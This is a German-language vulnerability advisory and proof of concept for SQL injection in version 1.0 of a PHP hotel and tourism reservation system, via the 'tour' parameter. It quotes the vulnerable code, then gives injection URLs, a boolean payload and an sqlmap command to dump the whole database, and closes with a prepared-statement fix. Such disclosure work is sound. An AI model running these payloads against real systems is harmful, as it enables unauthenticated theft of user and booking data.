
Proof-of-Concept für nicht authentifizierte SQL-Injection in Hotel and Tourism Reservation System 1.0, das Datenbankextraktion über den Tour-Parameter demonstriert.
| Feld | Details |
|---|
| Titel | Hotel- und Tourismus-Reservierungssystem - SQL-Injection über tour GET-Parameter |
| Anbieter | code-projects.org |
| Anbieter-URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Produkt | Hotel- und Tourismus-Reservierungssystem |
| Version | 1.0 |
| Schwachstellentyp | SQL-Injection |
| CWE | CWE-89 |
| CVSS-Score | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffene Datei | /ht/tour.php |
| Betroffener Parameter | tour (GET) |
| Authentifizierung erforderlich | Nein |
| Remote ausnutzbar | Ja |
| Forscher | Syed Imad Uddin Alvi |
Eine kritische SQL-Injection-Schwachstelle existiert im tour GET-Parameter von tour.php im Hotel- und Tourismus-Reservierungssystem 1.0. Der Parameter wird direkt in eine rohe SQL-Abfrage ohne Sanitisierung, Prepared Statements oder Eingabevalidierung eingefügt. Ein nicht authentifizierter entfernter Angreifer kann die Abfrage manipulieren, um Daten aus der Datenbank zu extrahieren, zu ändern oder zu löschen. Die Schwachstelle wurde durch einen vollständigen Datenbank-Dump mit sqlmap bestätigt.
Verwundbarer Code in tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID wird direkt aus $_GET['tour'] übernommen und ohne jegliche Sanitisierung in die SQL-Abfrage interpoliert.
Einrichtung: Installieren Sie das Hotel- und Tourismus-Reservierungssystem 1.0 auf XAMPP und greifen Sie unter http://<target>/ht/ darauf zu.
Schritt 1 — Besuchen Sie eine beliebige Tour-Seite als nicht authentifizierter Benutzer:
http://<target>/ht/tour.php?tour=4

Schritt 2 — Injizieren Sie ein einfaches Anführungszeichen, um die SQL-Abfrage zu brechen und die Schwachstelle zu bestätigen:
http://<target>/ht/tour.php?tour='
Ergebnis: Ein fataler MySQL-Fehler wird ausgegeben – dies bestätigt, dass unsanitisierte Eingabe die SQL-Abfrage erreicht.

Schritt 3 — Bestätigen Sie die SQLi mit einer booleschen Payload:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Ergebnis: Die Seite lädt normal mit Tour-Daten – boolesche Injektion erfolgreich.

Schritt 4 — Dumpen Sie die gesamte Datenbank mit sqlmap:
sqlmap -r sqli.txt --dump --batch
Ergebnis: sqlmap extrahiert erfolgreich alle Tabellen in hotel_db inklusive users, rooms, tour_reserves, gallery – vollständige Datenbank-Kompromittierung bestätigt.

Ein nicht authentifizierter entfernter Angreifer kann:
INTO OUTFILE erreichen, wenn Dateiberechtigungen erteilt sindDer tour GET-Parameter wird direkt in eine rohe SQL-Abfrage interpoliert, ohne Verwendung von Prepared Statements, parametrisierten Abfragen oder Eingabe-Sanitisierung:
// SCHWACHSTELLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// BEHOBEN — Prepared Statements verwenden
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Unabhängiger Sicherheitsforscher